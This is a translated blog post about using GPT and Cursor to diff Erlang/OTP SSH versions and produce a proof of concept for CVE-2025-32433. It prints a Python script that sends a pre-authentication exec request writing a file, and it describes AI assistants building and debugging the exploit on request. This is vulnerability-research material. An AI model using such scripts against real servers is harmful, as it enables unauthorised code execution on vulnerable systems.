Как я использовал ИИ для создания рабочего эксплойта для CVE-2025-32433 до появления публичных PoC

от автора

Написание доказательства концепции для CVE-2025-32433

Пью кофе, просматриваю Twitter, и вот он — твит от Horizon3:

👉 https://x.com/Horizon3Attack/status/1912945580902334793

У них есть доказательство концепции для CVE-2025-32433. Они говорят, что это было «удивительно просто». Но они не сбросили код. Хм.

Естественно, я подумал: если это так просто… может ли ИИ просто написать это за меня?

Эксплойты, создаваемые ИИ?

Оказывается, да, это возможно.

GPT не только понял описание CVE, но и выяснил, какой коммит ввел исправление, сравнил его со старым кодом, нашел разницу, нашел уязвимость и даже написал доказательство концепции. Естественно, с первого раза код не заработал и тогда ИИ сам его отладил и исправил.

Давайте рассмотрим, как я к этому пришел.

Первоначальная подсказка

Первое, что я сделал, это взял выходной код python в анимированном GIF-файле Horizon. Он был не таким уж большим, но его было полезно передать GPT.

Небольшой толчок в правильном направлении никогда не повредит.

Поиск версий

Далее: я проверил официальные рекомендации Erlang на GitHub, чтобы найти как затронутую версию, так и исправленную.

Я знал, что мне нужно будет сравнить эти версии. Поэтому я дал GPT этот базовый запрос, и вот что он выдал:

❯ git checkout OTP-27.3.1 mkdir -p ../ssh_5_2_9 cp -a lib/ssh/\* ../ssh_5_2_9/  # Checkout the commit that introduces ssh-5.2.10 git checkout 71219a5123309c8cf66f929a19a100a242e15681 mkdir -p ../ssh_5_2_10 cp -a lib/ssh/\* ../ssh_5_2_10/

Он даже объяснил, что происходит на каждом шаге. Полезно! На тот момент у меня было два снимка: ssh_5_2_9 (уязвимый) и ssh_5_2_10 (исправленный). Время для сравнения.

diff.py — Наш археолог кода

GPT предоставил мне этот небольшой, но мощный скрипт на Python для рекурсивного сравнения двух версий:

import os import difflib  def get_source_files(base_dir):     return {         os.path.relpath(os.path.join(root, f), base_dir): os.path.join(root, f)         for root, _, files in os.walk(base_dir)         for f in files if f.endswith((".erl", ".hrl"))     }  def safe_readlines(path):     for enc in ("utf-8", "latin-1"):         try:             with open(path, "r", encoding=enc) as f:                 return f.readlines()         except UnicodeDecodeError:             continue     return None  def compare_versions(dir1, dir2):     files1, files2 = get_source_files(dir1), get_source_files(dir2)     common = sorted(set(files1) & set(files2))     diffs = {         path: list(difflib.unified_diff(             safe_readlines(files1[path]), safe_readlines(files2[path]),             fromfile=f"{os.path.basename(dir1)}/{path}",             tofile=f"{os.path.basename(dir2)}/{path}"))         for path in common         if safe_readlines(files1[path]) and safe_readlines(files2[path])     }     return diffs  # Run diff and print results base1, base2 = "../ssh_5_2_9", "../ssh_5_2_10" diffs = compare_versions(base1, base2)  print("\n🔍 Changed Files Between SSH 5.2.9 and 5.2.10 (Recursive):") print("---------------------------------------------------------") for f, lines in diffs.items():     print(f"{f}: {len(lines)} changed lines")  print("\n\n📄 Full Diffs for All Changed Files:\n") print("=====================================") for f, lines in diffs.items():     print(f"\n--- {f} ---\n{''.join(lines)}")

Этот скрипт просматривает все файлы .erl и .hrl, сравнивает их построчно и выводит как сводку, так и полное унифицированное сравнение.

Итак, мы получили длинный список различий, который выглядел примерно так:

....omitted for brevity... +early_rce(Config) -> +    ... +    TypeReq = "exec", +    DataReq = <<?STRING(<<"lists:seq(1,10).">>)>>, +    ... +    {send, SshMsgChannelRequest}, +    {match, disconnect(), receive_msg} ....omitted for brevity...

Да — различий очень много. Я не буду вставлять все сюда, потому что мы будем листать вечно.

Итак (и вы, вероятно, это предвидели)… Я передал это ChatGPT и просто сказал:

«Эй, можешь ли ты сказать мне, что стало причиной этой уязвимости?»

Мнение GPT: действительно познавательно

Классический ход GPT — он спросил меня:

«Хотите полноценный PoC-клиент? Демонстрацию в стиле Metasploit? Пропатченный SSH-сервер?»

Да. Все хотим. Начнем с PoC.

Первое подтверждение концепции (PoC)

Вот что сгенерировал GPT. Код явно сырой — просто скрипт сокета Python, который пытается открыть канал и отправить команду до завершения аутентификации.

import socket import struct  HOST = "127.0.0.1"  # Change to vulnerable SSH server IP PORT = 2222         # Change to correct SSH port  # Utilities def string_payload(s):     s_bytes = s.encode("utf-8")     return struct.pack(">I", len(s_bytes)) + s_bytes  def build_channel_open(channel_id=0):     return (         b"\x5a" +  # SSH_MSG_CHANNEL_OPEN         string_payload("session") +         struct.pack(">I", channel_id) +  # sender channel         struct.pack(">I", 0x68000) +     # initial window size         struct.pack(">I", 0x10000) +     # max packet size         b""     )  def build_channel_request(channel_id=0, command="file:write_file(\"/lab.txt\", <<\"pwned\">>)."):     payload = (         b"\x62" +         struct.pack(">I", channel_id) +         string_payload("exec") +         b"\x01" +         string_payload(command)     )     return payload  def build_kexinit():     cookie = b"\x00" * 16     def name_list(l): return string_payload(",".join(l))     return (         b"\x14" + cookie +         name_list(["diffie-hellman-group14-sha1"]) +         name_list(["ssh-rsa"]) +         name_list(["aes128-ctr"]) * 2 +         name_list(["hmac-sha1"]) * 2 +         name_list(["none"]) * 2 +         name_list([]) * 2 +         b"\x00" + struct.pack(">I", 0)     )  # Step-by-step protocol with socket.create_connection((HOST, PORT)) as s:     print("[*] Connecting to SSH server...")      s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")     banner = s.recv(1024)     print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}")      print("[*] Sending KEXINIT...")     kex_packet = build_kexinit()     kex_len = struct.pack(">I", len(kex_packet) + 1)     kex = kex_len + b"\x0a" + kex_packet + b"\x00" * 6     s.sendall(kex)      print("[*] Sending channel_open...")     chan_open = build_channel_open()     chan_len = struct.pack(">I", len(chan_open) + 1)     s.sendall(chan_len + b"\x0a" + chan_open + b"\x00" * 6)      print("[*] Sending channel_request with exec payload...")     chan_req = build_channel_request(command='file:write_file("/lab.txt", <<"pwned">>).')     req_len = struct.pack(">I", len(chan_req) + 1)     s.sendall(req_len + b"\x0a" + chan_req + b"\x00" * 6)      print("[✓] Exploit sent. If target was vulnerable, it attempted to write /lab.txt.")

Отладка с помощью Cursor

Ничего удивительного: первоначальный код не работал.

Поэтому я сменил тактику. Поскольку код становился все более тяжелым, я открыл Cursor, загрузил код, открыл терминал и просто спросил:

«Исправь код PoC?»

Никаких подробных инструкций. Никаких ограничений. Просто терминал разработчика, сломанный скрипт и обнадеживающая подсказка.

К моему удивлению, это сработало!

GPT (через Cursor и Sonnet 3.7) исправил проблемы, изменил сообщения протокола и все заработало.

Я запустил исправленную версию, и она успешно записала /lab.txt на моей тестовой системе. Чистый, рабочий, полностью сгенерированный ИИ эксплойт для CVE, у которого на тот момент не было публичного PoC.

Заключительные мысли

Вот и всё. От твита → до копания в diffs → до полного PoC-эксплойта — все без предварительного открытого кода, с которого можно было бы начать. И большую часть этого сделал ИИ.

Жесть!

Это открывает некоторые серьезные вопросы о том, как быстро ИИ может помочь в исследовании уязвимостей — или даже автоматизировать целые его части. Мы наблюдаем, как наступает новая эра инструментов безопасности.

То, что началось как любопытство по поводу твита, превратилось в глубокое исследование того, как ИИ меняет исследования уязвимостей. Несколько лет назад этот процесс потребовал бы специальных знаний Erlang и часов ручной отладки. Сегодня это заняло пол дня с правильными подсказками.

Это хорошо или вызывает беспокойство? Вероятно, и то, и другое. Это демократизирует исследования безопасности, одновременно потенциально снижая барьер для разработки эксплойтов. Но именно поэтому ответственное раскрытие информации и совместные методы обеспечения безопасности важны как никогда.

Огромное спасибо Horizon3 и Фабиану Боймеру за их ответственное раскрытие этой уязвимости. Их работа продолжает делать сообщество безопасности сильнее.


Я решил перевести эту статью для вас, потому что уверен в её концептуальной важности для всей кибербезопасности. Эта статья — рабочий кейс того, как нужно действовать, чтобы быстро получить рабочий эксплойт к самым свежим CVE, а использование ИИ существенно расширяет круг людей, кто может подобное делать в принципе.

Я думаю так, что если к лету 2025 у вас нет автоматизации по поиску патчей, их автоматической проверки и установки, то ваша безопасность безнадёжно устарела. Как же быстро всё развивается…

Если вам понравилась статья, поставьте мне «ХАБР-лайк» и приходите в мой Телеграм!


ссылка на оригинал статьи https://habr.com/ru/articles/905552/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *